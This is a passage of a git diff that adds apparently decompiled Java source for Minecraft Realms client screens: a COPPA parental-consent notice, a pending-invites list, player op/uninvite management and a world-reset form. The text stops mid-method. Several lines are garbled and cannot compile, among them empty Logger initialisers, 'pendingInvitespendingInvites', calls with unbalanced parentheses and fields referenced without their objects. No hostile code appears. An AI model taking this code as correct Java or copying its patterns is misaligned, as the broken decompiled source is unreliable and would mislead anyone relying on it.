diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsParentalConsentScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsParentalConsentScreen.java
new file mode 100644
index 0000000..1195f48
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsParentalConsentScreen.java
@@ -0,0 +1,111 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.gui.RealmsConstants;
+import com.mojang.realmsclient.util.RealmsUtil;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsScreen;
+import org.lwjgl.opengl.GL11;
+
+
+
+
+
+public class RealmsParentalConsentScreen
+  extends RealmsScreen
+{
+  private final RealmsScreen nextScreen;
+  private static final int BUTTON_BACK_ID = 0;
+  private static final int BUTTON_OK_ID = 1;
+  private final String line1 = "Recently, Mojang was acquired by Microsoft. Microsoft implements";
+  private final String line2 = "certain procedures to help protect children and their privacy,";
+  private final String line3 = "including complying with the Children’s Online Privacy Protection Act (COPPA)";
+  private final String line4 = "You may need to obtain parental consent before accessing your Realms account.";
+  
+
+  private boolean onLink = false;
+  
+  public RealmsParentalConsentScreen(RealmsScreen nextScreen)
+  {
+    this.nextScreen = nextScreen;
+  }
+  
+
+  public void init()
+  {
+    buttonsClear();
+    
+    buttonsAdd(newButton(1, width() / 2 - 100, RealmsConstants.row(11), 200, 20, "Go to accounts page"));
+    buttonsAdd(newButton(0, width() / 2 - 100, RealmsConstants.row(13), 200, 20, "Back"));
+  }
+  
+  public void tick()
+  {
+    super.tick();
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    switch (button.id()) {
+    case 1: 
+      RealmsUtil.browseTo("https://accounts.mojang.com/me/verify/" + Realms.getUUID());
+      break;
+    case 0: 
+      Realms.setScreen(nextScreen);
+      break;
+    }
+    
+  }
+  
+
+  public void mouseClicked(int x, int y, int buttonNum)
+  {
+    if (onLink) {
+      RealmsUtil.browseTo("http://www.ftc.gov/enforcement/rules/rulemaking-regulatory-reform-proceedings/childrens-online-privacy-protection-rule");
+    }
+  }
+  
+  public void render(int xm, int ym, float a)
+  {
+    renderBackground();
+    
+    drawCenteredString("Recently, Mojang was acquired by Microsoft. Microsoft implements", width() / 2, 30, 16777215);
+    drawCenteredString("certain procedures to help protect children and their privacy,", width() / 2, 45, 16777215);
+    drawCenteredString("including complying with the Children’s Online Privacy Protection Act (COPPA)", width() / 2, 60, 16777215);
+    drawCenteredString("You may need to obtain parental consent before accessing your Realms account.", width() / 2, 120, 16777215);
+    
+
+    renderLink(xm, ym);
+    
+    super.render(xm, ym, a);
+  }
+  
+  private void renderLink(int xm, int ym) {
+    String text = getLocalizedString("Read more about COPPA");
+    
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glPushMatrix();
+    
+
+    int textWidth = fontWidth(text);
+    int leftPadding = width() / 2 - textWidth / 2;
+    int topPadding = 75;
+    
+    int x1 = leftPadding;
+    int x2 = x1 + textWidth + 1;
+    int y1 = topPadding;
+    int y2 = y1 + fontLineHeight();
+    
+    GL11.glTranslatef(x1, y1, 0.0F);
+    
+    if ((x1 <= xm) && (xm <= x2) && (y1 <= ym) && (ym <= y2)) {
+      onLink = true;
+      drawString(text, 0, 0, 7107012);
+    } else {
+      onLink = false;
+      drawString(text, 0, 0, 3368635);
+    }
+    
+    GL11.glPopMatrix();
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsPendingInvitesScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsPendingInvitesScreen.java
new file mode 100644
index 0000000..6df7440
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsPendingInvitesScreen.java
@@ -0,0 +1,305 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.RealmsMainScreen;
+import com.mojang.realmsclient.client.RealmsClient;
+import com.mojang.realmsclient.dto.PendingInvite;
+import com.mojang.realmsclient.dto.PendingInvitesList;
+import com.mojang.realmsclient.exception.RealmsServiceException;
+import com.mojang.realmsclient.util.RealmsUtil;
+import java.util.Date;
+import java.util.List;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsBufferBuilder;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsClickableScrolledSelectionList;
+import net.minecraft.realms.RealmsDefaultVertexFormat;
+import net.minecraft.realms.RealmsScreen;
+import net.minecraft.realms.Tezzelator;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.input.Keyboard;
+import org.lwjgl.input.Mouse;
+import org.lwjgl.opengl.GL11;
+
+public class RealmsPendingInvitesScreen extends RealmsScreen
+{
+  private static final Logger LOGGER = ;
+  
+  private static final int BUTTON_BACK_ID = 0;
+  
+  private static final String ACCEPT_ICON_LOCATION = "realms:textures/gui/realms/accept_icon.png";
+  
+  private static final String REJECT_ICON_LOCATION = "realms:textures/gui/realms/reject_icon.png";
+  
+  private final RealmsScreen lastScreen;
+  private String toolTip = null;
+  
+  private boolean loaded = false;
+  
+  private PendingInvitationList pendingList;
+  private List<PendingInvite> pendingInvites = com.google.common.collect.Lists.newArrayList();
+  
+  public RealmsPendingInvitesScreen(RealmsScreen lastScreen)
+  {
+    this.lastScreen = lastScreen;
+  }
+  
+  public void mouseEvent()
+  {
+    super.mouseEvent();
+    pendingList.mouseEvent();
+  }
+  
+  public void init()
+  {
+    Keyboard.enableRepeatEvents(true);
+    buttonsClear();
+    
+    pendingList = new PendingInvitationList();
+    
+    new Thread("Realms-pending-invitations-fetcher")
+    {
+      public void run() {
+        RealmsClient client = RealmsClient.createRealmsClient();
+        try {
+          pendingInvites = pendingInvitespendingInvites;
+        } catch (RealmsServiceException e) {
+          RealmsPendingInvitesScreen.LOGGER.error("Couldn't list invites");
+        } finally {
+          loaded = true;
+        }
+        
+      }
+    }.start();
+    buttonsAdd(newButton(0, width() / 2 - 75, height() - 32, 153, 20, getLocalizedString("gui.done")));
+  }
+  
+
+  public void tick()
+  {
+    super.tick();
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (!button.active()) { return;
+    }
+    switch (button.id()) {
+    case 0: 
+      Realms.setScreen(new RealmsMainScreen(lastScreen));
+    }
+    
+  }
+  
+
+  public void keyPressed(char eventCharacter, int eventKey)
+  {
+    if (eventKey == 1) {
+      Realms.setScreen(new RealmsMainScreen(lastScreen));
+    }
+  }
+  
+  private void updateList(int slot) {
+    pendingInvites.remove(slot);
+  }
+  
+  private void reject(final int slot) {
+    if (slot < pendingInvites.size()) {
+      new Thread("Realms-reject-invitation")
+      {
+        public void run() {
+          try {
+            RealmsClient client = RealmsClient.createRealmsClient();
+            client.rejectInvitation(pendingInvites.get(slot)).invitationId);
+            RealmsPendingInvitesScreen.this.updateList(slot);
+          } catch (RealmsServiceException e) {
+            RealmsPendingInvitesScreen.LOGGER.error("Couldn't reject invite");
+          }
+        }
+      }.start();
+    }
+  }
+  
+  private void accept(final int slot) {
+    if (slot < pendingInvites.size()) {
+      new Thread("Realms-accept-invitation")
+      {
+        public void run() {
+          try {
+            RealmsClient client = RealmsClient.createRealmsClient();
+            client.acceptInvitation(pendingInvites.get(slot)).invitationId);
+            RealmsPendingInvitesScreen.this.updateList(slot);
+          } catch (RealmsServiceException e) {
+            RealmsPendingInvitesScreen.LOGGER.error("Couldn't accept invite");
+          }
+        }
+      }.start();
+    }
+  }
+  
+  public void render(int xm, int ym, float a)
+  {
+    toolTip = null;
+    
+    renderBackground();
+    
+    pendingList.render(xm, ym, a);
+    drawCenteredString(getLocalizedString("mco.invites.title"), width() / 2, 12, 16777215);
+    
+    if (toolTip != null) {
+      renderMousehoverTooltip(toolTip, xm, ym);
+    }
+    
+    if ((pendingInvites.size() == 0) && (loaded)) {
+      drawCenteredString(getLocalizedString("mco.invites.nopending"), width() / 2, height() / 2 - 20, 16777215);
+    }
+    
+    super.render(xm, ym, a);
+  }
+  
+  protected void renderMousehoverTooltip(String msg, int x, int y) {
+    if (msg == null) {
+      return;
+    }
+    
+    int rx = x + 12;
+    int ry = y - 12;
+    int width = fontWidth(msg);
+    fillGradient(rx - 3, ry - 3, rx + width + 3, ry + 8 + 3, -1073741824, -1073741824);
+    
+    fontDrawShadow(msg, rx, ry, 16777215);
+  }
+  
+  private class PendingInvitationList extends RealmsClickableScrolledSelectionList
+  {
+    public PendingInvitationList() {
+      super(height(), 32, height() - 40, 36);
+    }
+    
+    public int getItemCount()
+    {
+      return pendingInvites.size();
+    }
+    
+    public int getMaxPosition()
+    {
+      return getItemCount() * 36;
+    }
+    
+    public void renderBackground()
+    {
+      RealmsPendingInvitesScreen.this.renderBackground();
+    }
+    
+    public void renderSelected(int width, int y, int h, Tezzelator t)
+    {
+      int x0 = getScrollbarPosition() - 290;
+      int x1 = getScrollbarPosition() - 10;
+      
+      GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+      GL11.glDisable(3553);
+      t.begin(7, RealmsDefaultVertexFormat.POSITION_TEX_COLOR);
+      t.vertex(x0, y + h + 2, 0.0D).tex(0.0D, 1.0D).color(128, 128, 128, 255).endVertex();
+      t.vertex(x1, y + h + 2, 0.0D).tex(1.0D, 1.0D).color(128, 128, 128, 255).endVertex();
+      t.vertex(x1, y - 2, 0.0D).tex(1.0D, 0.0D).color(128, 128, 128, 255).endVertex();
+      t.vertex(x0, y - 2, 0.0D).tex(0.0D, 0.0D).color(128, 128, 128, 255).endVertex();
+      
+      t.vertex(x0 + 1, y + h + 1, 0.0D).tex(0.0D, 1.0D).color(0, 0, 0, 255).endVertex();
+      t.vertex(x1 - 1, y + h + 1, 0.0D).tex(1.0D, 1.0D).color(0, 0, 0, 255).endVertex();
+      t.vertex(x1 - 1, y - 1, 0.0D).tex(1.0D, 0.0D).color(0, 0, 0, 255).endVertex();
+      t.vertex(x0 + 1, y - 1, 0.0D).tex(0.0D, 0.0D).color(0, 0, 0, 255).endVertex();
+      
+      t.end();
+      GL11.glEnable(3553);
+    }
+    
+    public void renderItem(int i, int x, int y, int h, int mouseX, int mouseY)
+    {
+      if (i < pendingInvites.size()) {
+        renderPendingInvitationItem(i, x, y, h);
+      }
+    }
+    
+    private void renderPendingInvitationItem(int i, int x, int y, int h) {
+      PendingInvite invite = (PendingInvite)pendingInvites.get(i);
+      
+      drawString(worldName, x + 2, y + 1, 16777215);
+      drawString(worldOwnerName, x + 2, y + 12, 7105644);
+      drawString(RealmsUtil.convertToAgePresentation(Long.valueOf(System.currentTimeMillis() - date.getTime())), x + 2, y + 24, 7105644);
+      
+      int dx = getScrollbarPosition() - 50;
+      
+      drawAccept(dx, y, xm(), ym());
+      drawReject(dx + 20, y, xm(), ym());
+      
+      RealmsScreen.bindFace(worldOwnerUuid, worldOwnerName);
+      GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+      RealmsScreen.blit(x - 36, y, 8.0F, 8.0F, 8, 8, 32, 32, 64.0F, 64.0F);
+      RealmsScreen.blit(x - 36, y, 40.0F, 8.0F, 8, 8, 32, 32, 64.0F, 64.0F);
+    }
+    
+    private void drawAccept(int x, int y, int xm, int ym) {
+      boolean hovered = false;
+      
+      if ((xm >= x) && (xm <= x + 15) && (ym >= y) && (ym <= y + 15) && (ym < height() - 40) && (ym > 32)) {
+        hovered = true;
+      }
+      
+      RealmsScreen.bind("realms:textures/gui/realms/accept_icon.png");
+      GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+      GL11.glPushMatrix();
+      RealmsScreen.blit(x, y, hovered ? 19.0F : 0.0F, 0.0F, 18, 18, 37.0F, 18.0F);
+      
+      GL11.glPopMatrix();
+      
+      if (hovered) {
+        toolTip = RealmsScreen.getLocalizedString("mco.invites.button.accept");
+      }
+    }
+    
+    private void drawReject(int x, int y, int xm, int ym) {
+      boolean hovered = false;
+      
+      if ((xm >= x) && (xm <= x + 15) && (ym >= y) && (ym <= y + 15) && (ym < height() - 40) && (ym > 32)) {
+        hovered = true;
+      }
+      
+      RealmsScreen.bind("realms:textures/gui/realms/reject_icon.png");
+      GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+      GL11.glPushMatrix();
+      RealmsScreen.blit(x, y, hovered ? 19.0F : 0.0F, 0.0F, 18, 18, 37.0F, 18.0F);
+      GL11.glPopMatrix();
+      
+      if (hovered) {
+        toolTip = RealmsScreen.getLocalizedString("mco.invites.button.reject");
+      }
+    }
+    
+    public void itemClicked(int clickSlotPos, int slot, int xm, int ym, int width)
+    {
+      int x = getScrollbarPosition() - 50;
+      int y = clickSlotPos + 30 - getScroll();
+      
+      if ((xm >= x) && (xm <= x + 15) && (ym >= y) && (ym <= y + 15)) {
+        RealmsPendingInvitesScreen.this.accept(slot);
+      } else if ((xm >= x + 20) && (xm <= x + 20 + 15) && (ym >= y) && (ym <= y + 15)) {
+        RealmsPendingInvitesScreen.this.reject(slot);
+      }
+    }
+    
+    public void customMouseEvent(int y0, int y1, int headerHeight, float yo, int itemHeight)
+    {
+      if ((Mouse.isButtonDown(0)) && 
+        (ym() >= y0) && (ym() <= y1)) {
+        int x0 = width() / 2 - 92;
+        int x1 = width();
+        
+        int clickSlotPos = ym() - y0 - headerHeight + (int)yo - 4;
+        int slot = clickSlotPos / itemHeight;
+        if ((xm() >= x0) && (xm() <= x1) && (slot >= 0) && (clickSlotPos >= 0) && (slot < getItemCount())) {
+          itemClicked(clickSlotPos, slot, xm(), ym(), width());
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsPlayerScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsPlayerScreen.java
new file mode 100644
index 0000000..d5ad28e
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsPlayerScreen.java
@@ -0,0 +1,380 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.client.RealmsClient;
+import com.mojang.realmsclient.dto.PlayerInfo;
+import com.mojang.realmsclient.dto.RealmsServer;
+import com.mojang.realmsclient.exception.RealmsServiceException;
+import com.mojang.realmsclient.gui.RealmsConstants;
+import java.util.List;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsScreen;
+import net.minecraft.realms.Tezzelator;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.opengl.GL11;
+
+public class RealmsPlayerScreen extends RealmsScreen
+{
+  private static final Logger LOGGER = ;
+  
+  private static final String OP_ICON_LOCATION = "realms:textures/gui/realms/op_icon.png";
+  
+  private static final String USER_ICON_LOCATION = "realms:textures/gui/realms/user_icon.png";
+  
+  private static final String CROSS_ICON_LOCATION = "realms:textures/gui/realms/cross_icon.png";
+  
+  private String toolTip;
+  
+  private final RealmsConfigureWorldScreen lastScreen;
+  
+  private RealmsServer serverData;
+  
+  private InvitedSelectionList invitedSelectionList;
+  
+  private int column1_x;
+  
+  private int column_width;
+  private int column2_x;
+  private static final int BUTTON_BACK_ID = 0;
+  private static final int BUTTON_INVITE_ID = 1;
+  private static final int BUTTON_UNINVITE_ID = 2;
+  private static final int BUTTON_ACTIVITY_ID = 3;
+  private RealmsButton inviteButton;
+  private RealmsButton activityButton;
+  private int selectedInvitedIndex = -1;
+  private String selectedInvited;
+  private boolean stateChanged;
+  
+  public RealmsPlayerScreen(RealmsConfigureWorldScreen lastScreen, RealmsServer serverData)
+  {
+    this.lastScreen = lastScreen;
+    this.serverData = serverData;
+  }
+  
+  public void mouseEvent()
+  {
+    super.mouseEvent();
+    
+    if (invitedSelectionList != null) {
+      invitedSelectionList.mouseEvent();
+    }
+  }
+  
+  public void tick()
+  {
+    super.tick();
+  }
+  
+  public void init()
+  {
+    column1_x = (width() / 2 - 160);
+    column_width = 150;
+    column2_x = (width() / 2 + 12);
+    
+    org.lwjgl.input.Keyboard.enableRepeatEvents(true);
+    buttonsClear();
+    
+    buttonsAdd(this.inviteButton = newButton(1, column2_x, RealmsConstants.row(1), column_width + 10, 20, getLocalizedString("mco.configure.world.buttons.invite")));
+    
+    buttonsAdd(this.activityButton = newButton(3, column2_x, RealmsConstants.row(3), column_width + 10, 20, getLocalizedString("mco.configure.world.buttons.activity")));
+    
+    buttonsAdd(newButton(0, column2_x + column_width / 2 + 2, RealmsConstants.row(12), column_width / 2 + 10 - 2, 20, getLocalizedString("gui.back")));
+    
+    invitedSelectionList = new InvitedSelectionList();
+    invitedSelectionList.setLeftPos(column1_x);
+    
+    inviteButton.active(false);
+  }
+  
+
+  public void removed()
+  {
+    org.lwjgl.input.Keyboard.enableRepeatEvents(false);
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (!button.active()) { return;
+    }
+    switch (button.id()) {
+    case 0: 
+      backButtonClicked();
+      break;
+    case 1: 
+      Realms.setScreen(new RealmsInviteScreen(lastScreen, this, serverData));
+      break;
+    case 3: 
+      Realms.setScreen(new RealmsActivityScreen(this, serverData));
+      break;
+    }
+    
+  }
+  
+
+  public void keyPressed(char ch, int eventKey)
+  {
+    if (eventKey == 1) {
+      backButtonClicked();
+    }
+  }
+  
+  private void backButtonClicked() {
+    if (stateChanged) {
+      Realms.setScreen(lastScreen.getNewScreen());
+    } else {
+      Realms.setScreen(lastScreen);
+    }
+  }
+  
+  private void op(int index) {
+    RealmsClient client = RealmsClient.createRealmsClient();
+    String selectedInvite = ((PlayerInfo)serverData.players.get(index)).getName();
+    try
+    {
+      updateOps(client.op(serverData.id, selectedInvite));
+    } catch (RealmsServiceException e) {
+      LOGGER.error("Couldn't op the user");
+    }
+  }
+  
+  private void deop(int index) {
+    RealmsClient client = RealmsClient.createRealmsClient();
+    String selectedInvite = ((PlayerInfo)serverData.players.get(index)).getName();
+    try
+    {
+      updateOps(client.deop(serverData.id, selectedInvite));
+    } catch (RealmsServiceException e) {
+      LOGGER.error("Couldn't deop the user");
+    }
+  }
+  
+  private void updateOps(com.mojang.realmsclient.dto.Ops ops) {
+    for (PlayerInfo playerInfo : serverData.players) {
+      playerInfo.setOperator(ops.contains(playerInfo.getName()));
+    }
+  }
+  
+  private void uninvite(int index) {
+    if ((index >= 0) && (index < serverData.players.size())) {
+      PlayerInfo playerInfo = (PlayerInfo)serverData.players.get(index);
+      selectedInvited = playerInfo.getUuid();
+      selectedInvitedIndex = index;
+      RealmsConfirmScreen confirmScreen = new RealmsConfirmScreen(this, "Question", getLocalizedString("mco.configure.world.uninvite.question") + " '" + playerInfo.getName() + "' ?", 2);
+      Realms.setScreen(confirmScreen);
+    }
+  }
+  
+  public void confirmResult(boolean result, int id)
+  {
+    if (id == 2) {
+      if (result) {
+        RealmsClient client = RealmsClient.createRealmsClient();
+        try {
+          client.uninvite(serverData.id, selectedInvited);
+        } catch (RealmsServiceException e) {
+          LOGGER.error("Couldn't uninvite user");
+        }
+        deleteFromInvitedList(selectedInvitedIndex);
+      }
+      stateChanged = true;
+      Realms.setScreen(this);
+    }
+  }
+  
+  private void deleteFromInvitedList(int selectedInvitedIndex) {
+    serverData.players.remove(selectedInvitedIndex);
+  }
+  
+  public void render(int xm, int ym, float a)
+  {
+    toolTip = null;
+    renderBackground();
+    
+    if (invitedSelectionList != null) {
+      invitedSelectionList.render(xm, ym, a);
+    }
+    
+    int bottom_border = RealmsConstants.row(12) + 20;
+    
+    GL11.glDisable(2896);
+    GL11.glDisable(2912);
+    Tezzelator t = Tezzelator.instance;
+    bind("textures/gui/options_background.png");
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    float s = 32.0F;
+    t.begin(7, net.minecraft.realms.RealmsDefaultVertexFormat.POSITION_TEX_COLOR);
+    t.vertex(0.0D, height(), 0.0D).tex(0.0D, (height() - bottom_border) / 32.0F + 0.0F).color(64, 64, 64, 255).endVertex();
+    t.vertex(width(), height(), 0.0D).tex(width() / 32.0F, (height() - bottom_border) / 32.0F + 0.0F).color(64, 64, 64, 255).endVertex();
+    t.vertex(width(), bottom_border, 0.0D).tex(width() / 32.0F, 0.0D).color(64, 64, 64, 255).endVertex();
+    t.vertex(0.0D, bottom_border, 0.0D).tex(0.0D, 0.0D).color(64, 64, 64, 255).endVertex();
+    t.end();
+    
+    drawCenteredString(getLocalizedString("mco.configure.world.players.title"), width() / 2, 17, 16777215);
+    
+    if ((serverData != null) && (serverData.players != null)) {
+      drawString(getLocalizedString("mco.configure.world.invited") + " (" + serverData.players.size() + ")", column1_x, RealmsConstants.row(0), 10526880);
+      inviteButton.active(serverData.players.size() < 200);
+    } else {
+      drawString(getLocalizedString("mco.configure.world.invited"), column1_x, RealmsConstants.row(0), 10526880);
+      inviteButton.active(false);
+    }
+    
+    super.render(xm, ym, a);
+    
+    if (serverData == null) {
+      return;
+    }
+    
+    if (toolTip != null) {
+      renderMousehoverTooltip(toolTip, xm, ym);
+    }
+  }
+  
+  protected void renderMousehoverTooltip(String msg, int x, int y) {
+    if (msg == null) {
+      return;
+    }
+    
+    int rx = x + 12;
+    int ry = y - 12;
+    int width = fontWidth(msg);
+    fillGradient(rx - 3, ry - 3, rx + width + 3, ry + 8 + 3, -1073741824, -1073741824);
+    
+    fontDrawShadow(msg, rx, ry, 16777215);
+  }
+  
+  private class InvitedSelectionList extends net.minecraft.realms.RealmsClickableScrolledSelectionList
+  {
+    public InvitedSelectionList() {
+      super(RealmsConstants.row(12) + 20, RealmsConstants.row(1), RealmsConstants.row(12) + 20, 13);
+    }
+    
+    public void customMouseEvent(int y0, int y1, int headerHeight, float yo, int itemHeight)
+    {
+      if ((org.lwjgl.input.Mouse.isButtonDown(0)) && 
+        (ym() >= y0) && (ym() <= y1)) {
+        int x0 = column1_x;
+        int x1 = column1_x + column_width;
+        
+        int clickSlotPos = ym() - y0 - headerHeight + (int)yo - 4;
+        int slot = clickSlotPos / itemHeight;
+        if ((xm() >= x0) && (xm() <= x1) && (slot >= 0) && (clickSlotPos >= 0) && (slot < getItemCount())) {
+          itemClicked(clickSlotPos, slot, xm(), ym(), width());
+        }
+      }
+    }
+    
+
+    public void itemClicked(int clickSlotPos, int slot, int xm, int ym, int width)
+    {
+      if ((slot < 0) || (slot > serverData.players.size()) || (toolTip == null)) {
+        return;
+      }
+      
+      if ((toolTip.equals(RealmsScreen.getLocalizedString("mco.configure.world.invites.ops.tooltip"))) || (toolTip.equals(RealmsScreen.getLocalizedString("mco.configure.world.invites.normal.tooltip")))) {
+        if (((PlayerInfo)serverData.players.get(slot)).isOperator()) {
+          RealmsPlayerScreen.this.deop(slot);
+        } else {
+          RealmsPlayerScreen.this.op(slot);
+        }
+      } else if (toolTip.equals(RealmsScreen.getLocalizedString("mco.configure.world.invites.remove.tooltip"))) {
+        RealmsPlayerScreen.this.uninvite(slot);
+      }
+    }
+    
+    public void renderBackground()
+    {
+      RealmsPlayerScreen.this.renderBackground();
+    }
+    
+
+    public int getScrollbarPosition()
+    {
+      return column1_x + width() - 5;
+    }
+    
+    public int getItemCount()
+    {
+      return serverData == null ? 1 : serverData.players.size();
+    }
+    
+    public int getMaxPosition()
+    {
+      return getItemCount() * 13;
+    }
+    
+    protected void renderItem(int i, int x, int y, int h, Tezzelator t, int mouseX, int mouseY)
+    {
+      if (serverData == null) {
+        return;
+      }
+      
+      if (i < serverData.players.size()) {
+        renderInvitedItem(i, x, y, h);
+      }
+    }
+    
+    private void renderInvitedItem(int i, int x, int y, int h) {
+      PlayerInfo invited = (PlayerInfo)serverData.players.get(i);
+      
+      drawString(invited.getName(), column1_x + 3 + 12, y + 1, invited.getAccepted() ? 16777215 : 10526880);
+      
+      if (invited.isOperator()) {
+        RealmsPlayerScreen.this.drawOpped(column1_x + column_width - 10, y + 1, xm(), ym());
+      } else {
+        RealmsPlayerScreen.this.drawNormal(column1_x + column_width - 10, y + 1, xm(), ym());
+      }
+      
+      RealmsPlayerScreen.this.drawRemoveIcon(column1_x + column_width - 22, y + 2, xm(), ym());
+      
+
+
+      RealmsScreen.bindFace(invited.getUuid(), invited.getName());
+      GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+      RealmsScreen.blit(column1_x + 2 + 2, y + 1, 8.0F, 8.0F, 8, 8, 8, 8, 64.0F, 64.0F);
+      RealmsScreen.blit(column1_x + 2 + 2, y + 1, 40.0F, 8.0F, 8, 8, 8, 8, 64.0F, 64.0F);
+    }
+  }
+  
+  private void drawRemoveIcon(int x, int y, int xm, int ym) {
+    boolean hovered = (xm >= x) && (xm <= x + 9) && (ym >= y) && (ym <= y + 9) && (ym < height() - 25) && (ym > RealmsConstants.row(1));
+    
+    bind("realms:textures/gui/realms/cross_icon.png");
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glPushMatrix();
+    RealmsScreen.blit(x, y, 0.0F, hovered ? 7.0F : 0.0F, 8, 7, 8.0F, 14.0F);
+    GL11.glPopMatrix();
+    
+    if (hovered) {
+      toolTip = getLocalizedString("mco.configure.world.invites.remove.tooltip");
+    }
+  }
+  
+  private void drawOpped(int x, int y, int xm, int ym) {
+    boolean hovered = (xm >= x) && (xm <= x + 9) && (ym >= y) && (ym <= y + 9) && (ym < height() - 25) && (ym > RealmsConstants.row(1));
+    
+    bind("realms:textures/gui/realms/op_icon.png");
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glPushMatrix();
+    RealmsScreen.blit(x, y, 0.0F, hovered ? 8.0F : 0.0F, 8, 8, 8.0F, 16.0F);
+    GL11.glPopMatrix();
+    
+    if (hovered) {
+      toolTip = getLocalizedString("mco.configure.world.invites.ops.tooltip");
+    }
+  }
+  
+  private void drawNormal(int x, int y, int xm, int ym) {
+    boolean hovered = (xm >= x) && (xm <= x + 9) && (ym >= y) && (ym <= y + 9);
+    
+    bind("realms:textures/gui/realms/user_icon.png");
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glPushMatrix();
+    RealmsScreen.blit(x, y, 0.0F, hovered ? 8.0F : 0.0F, 8, 8, 8.0F, 16.0F);
+    GL11.glPopMatrix();
+    
+    if (hovered) {
+      toolTip = getLocalizedString("mco.configure.world.invites.normal.tooltip");
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsResetNormalWorldScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsResetNormalWorldScreen.java
new file mode 100644
index 0000000..67d9092
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsResetNormalWorldScreen.java
@@ -0,0 +1,138 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.gui.RealmsConstants;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsEditBox;
+import net.minecraft.realms.RealmsScreen;
+import org.lwjgl.input.Keyboard;
+
+public class RealmsResetNormalWorldScreen
+  extends RealmsScreen
+{
+  private RealmsResetWorldScreen lastScreen;
+  private RealmsEditBox seedEdit;
+  private Boolean generateStructures = Boolean.valueOf(true);
+  private Integer levelTypeIndex = Integer.valueOf(0);
+  
+  String[] levelTypes;
+  
+  private final int BUTTON_CANCEL_ID = 0;
+  private final int BUTTON_RESET_ID = 1;
+  
+  private static final int BUTTON_LEVEL_TYPE_ID = 2;
+  private static final int BUTTON_GENERATE_STRUCTURES_ID = 3;
+  private final int SEED_EDIT_BOX = 4;
+  private RealmsButton resetButton;
+  private RealmsButton levelTypeButton;
+  private RealmsButton generateStructuresButton;
+  
+  public RealmsResetNormalWorldScreen(RealmsResetWorldScreen lastScreen)
+  {
+    this.lastScreen = lastScreen;
+  }
+  
+  public void tick()
+  {
+    seedEdit.tick();
+    super.tick();
+  }
+  
+
+  public void init()
+  {
+    levelTypes = new String[] { getLocalizedString("generator.default"), getLocalizedString("generator.flat"), getLocalizedString("generator.largeBiomes"), getLocalizedString("generator.amplified") };
+    
+
+
+
+
+
+    Keyboard.enableRepeatEvents(true);
+    buttonsClear();
+    
+    buttonsAdd(newButton(0, width() / 2 + 8, RealmsConstants.row(12), 97, 20, getLocalizedString("gui.back")));
+    
+    buttonsAdd(this.resetButton = newButton(1, width() / 2 - 102, RealmsConstants.row(12), 97, 20, getLocalizedString("mco.backup.button.reset")));
+    
+    seedEdit = newEditBox(4, width() / 2 - 100, RealmsConstants.row(2), 200, 20);
+    seedEdit.setFocus(true);
+    seedEdit.setMaxLength(32);
+    seedEdit.setValue("");
+    
+    buttonsAdd(this.levelTypeButton = newButton(2, width() / 2 - 102, RealmsConstants.row(4), 205, 20, levelTypeTitle()));
+    buttonsAdd(this.generateStructuresButton = newButton(3, width() / 2 - 102, RealmsConstants.row(6) - 2, 205, 20, generateStructuresTitle()));
+  }
+  
+  public void removed()
+  {
+    Keyboard.enableRepeatEvents(false);
+  }
+  
+  public void keyPressed(char ch, int eventKey)
+  {
+    seedEdit.keyPressed(ch, eventKey);
+    
+    if ((eventKey == 28) || (eventKey == 156)) {
+      buttonClicked(resetButton);
+    }
+    
+    if (eventKey == 1) {
+      Realms.setScreen(lastScreen);
+    }
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (!button.active()) { return;
+    }
+    switch (button.id()) {
+    case 0: 
+      Realms.setScreen(lastScreen);
+      break;
+    case 1: 
+      lastScreen.resetWorld(new RealmsResetWorldScreen.ResetWorldInfo(seedEdit.getValue(), levelTypeIndex.intValue(), generateStructures.booleanValue()));
+      break;
+    case 2: 
+      levelTypeIndex = Integer.valueOf((levelTypeIndex.intValue() + 1) % levelTypes.length);
+      button.msg(levelTypeTitle());
+      break;
+    case 3: 
+      generateStructures = Boolean.valueOf(!generateStructures.booleanValue());
+      button.msg(generateStructuresTitle());
